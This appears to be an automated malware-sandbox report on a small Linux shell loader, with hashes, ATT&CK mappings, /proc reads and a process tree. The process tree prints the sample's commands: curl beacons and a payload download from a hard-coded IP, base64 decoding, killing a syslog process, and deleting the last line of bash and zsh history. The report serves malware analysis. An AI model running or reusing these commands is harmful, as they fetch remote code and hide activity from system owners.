829aa6c933fd451152cd3138ef796845c675bcb32a8cd06c1131b4b5dc66177c

Analysis

max time kernel
0s
max time network
132s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
06/08/2026, 00:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
411f7d3bff31a
Size 4KB
Sample260806-amd41avte1
SHA256 829aa6c933fd451152cd3138ef796845c675bcb32a8cd06c1131b4b5dc66177c
MD5 f9d431b8947d5389f2e1bb4dedb00c6d
SHA1 c0a443b4b82a914b3de1ef02d83743399b6e3798
SHA512 8e0f3bdec02ca6f485e24923f7698067e3d4c0688aedc5a263ce5f8d3a44d8f8d3e02a349e2352f1490f96cfe5b71bbcbd22acc1895ce515c33259d176861bee
SSDEEP 96:JpdGNA5F6Hh07QxprmTkXiEJhCCQSyBuL1RgB:3dGe5FkhnjykpCCQSyBuL1RgB
TLSH
T197A130F6F9B4BE313A0CA02E756D20816A9B0C3F02E939E58447FC65555C59CAA3C27F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

credential_access defense_evasion discovery

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Reads Bash history 1 TTPs 1 IoCs

Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

credential_access

Bash History

T1552.003

pid	Process
1535	sed

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
1522	base64

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/29/status	pkill
File opened for reading	/proc/169/status	pkill
File opened for reading	/proc/172/status	pkill
File opened for reading	/proc/466/status	pkill
File opened for reading	/proc/681/status	pkill
File opened for reading	/proc/962/cmdline	pkill
File opened for reading	/proc/175/status	pkill
File opened for reading	/proc/1090/cmdline	pkill
File opened for reading	/proc/5/cmdline	pkill
File opened for reading	/proc/170/status	pkill
File opened for reading	/proc/614/cmdline	pkill
File opened for reading	/proc/1128/status	pkill
File opened for reading	/proc/25/status	pkill
File opened for reading	/proc/309/status	pkill
File opened for reading	/proc/966/cmdline	pkill
File opened for reading	/proc/1028/status	pkill
File opened for reading	/proc/1499/status	pkill
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/79/status	pkill
File opened for reading	/proc/84/status	pkill
File opened for reading	/proc/163/status	pkill
File opened for reading	/proc/971/cmdline	pkill
File opened for reading	/proc/1059/cmdline	pkill
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/414/status	pkill
File opened for reading	/proc/487/status	pkill
File opened for reading	/proc/923/cmdline	pkill
File opened for reading	/proc/942/cmdline	pkill
File opened for reading	/proc/1069/status	pkill
File opened for reading	/proc/1147/status	pkill
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/19/status	pkill
File opened for reading	/proc/28/cmdline	pkill
File opened for reading	/proc/503/cmdline	pkill
File opened for reading	/proc/733/cmdline	pkill
File opened for reading	/proc/1045/status	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/246/status	pkill
File opened for reading	/proc/436/cmdline	pkill
File opened for reading	/proc/1059/status	pkill
File opened for reading	/proc/1072/cmdline	pkill
File opened for reading	/proc/1085/status	pkill
File opened for reading	/proc/1348/cmdline	pkill
File opened for reading	/proc/4/cmdline	pkill
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/158/cmdline	pkill
File opened for reading	/proc/309/cmdline	pkill
File opened for reading	/proc/733/status	pkill
File opened for reading	/proc/1097/cmdline	pkill
File opened for reading	/proc/1492/cmdline	pkill
File opened for reading	/proc/162/status	pkill
File opened for reading	/proc/681/cmdline	pkill
File opened for reading	/proc/1017/status	pkill
File opened for reading	/proc/1040/status	pkill
File opened for reading	/proc/30/status	pkill
File opened for reading	/proc/906/cmdline	pkill
File opened for reading	/proc/999/cmdline	pkill
File opened for reading	/proc/1488/cmdline	pkill
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/12/cmdline	pkill
File opened for reading	/proc/82/cmdline	pkill

/tmp/411f7d3bff31a
/tmp/411f7d3bff31a
1⤵
PID:1499
- /bin/date
  date "+%s"
  2⤵
  PID:1501
- /usr/bin/whoami
  whoami
  2⤵
  PID:1504
- /bin/mktemp
  mktemp -d
  2⤵
  PID:1505
- /bin/mkdir
  mkdir -p /root/Library/Caches/com.apple.system
  2⤵
  - Reads runtime system information
  PID:1507
- /usr/bin/arch
  arch
  2⤵
  PID:1508
- /usr/bin/getconf
  getconf DARWIN_USER_CACHE_DIR
  2⤵
  PID:1510
- /usr/bin/pkill
  pkill -9 -f com.apple.syslogd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1511
- /bin/sleep
  sleep 0.4
  2⤵
  PID:1515
- /usr/bin/id
  id -u
  2⤵
  PID:1517
- /bin/uname
  uname -r
  2⤵
  PID:1519
- /usr/bin/base64
  base64 -D
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1522
- /usr/bin/tr
  tr -d " \\n"
  2⤵
  PID:1526
- /usr/bin/od
  od -An -tx1
  2⤵
  PID:1525
- /usr/bin/head
  head -c8 /dev/urandom
  2⤵
  PID:1524
- /bin/uname
  uname -m
  2⤵
  PID:1528
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"loader_start\",\"rid\":\"ad7204fd8bc4aee7\",\"src\":\"http://46.226.162.241/d90acb823cb7c7?force=1\"}" -m 5
  2⤵
  PID:1527
- /usr/bin/head
  head -c 32
  2⤵
  PID:1531
- /bin/sed
  sed -i "\$d" /root/.zsh_history
  2⤵
  - Reads runtime system information
  PID:1533
- /usr/bin/curl
  curl -kfsSL --connect-timeout 20 --max-time 900 --retry 3 --retry-delay 2 --retry-all-errors "http://46.226.162.241/211f79a06c?force=1" -o /tmp/tmp.ztVBHVCah5/.o7kQID
  2⤵
  PID:1534
- /bin/sed
  sed -i "\$d" /root/.bash_history
  2⤵
  - Reads Bash history
  - Reads runtime system information
  PID:1535
- /usr/bin/getconf
  getconf DARWIN_USER_CACHE_DIR
  2⤵
  PID:1537
- /bin/rm
  rm -rf /tmp/tmp.ztVBHVCah5
  2⤵
  PID:1539
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"download_fail\",\"rid\":\"ad7204fd8bc4aee7\",\"src\":\"http://46.226.162.241/d90acb823cb7c7?force=1\"}" -m 3
  2⤵
  PID:1538

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Unsecured Credentials

T1552

Bash History

T1552.003

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads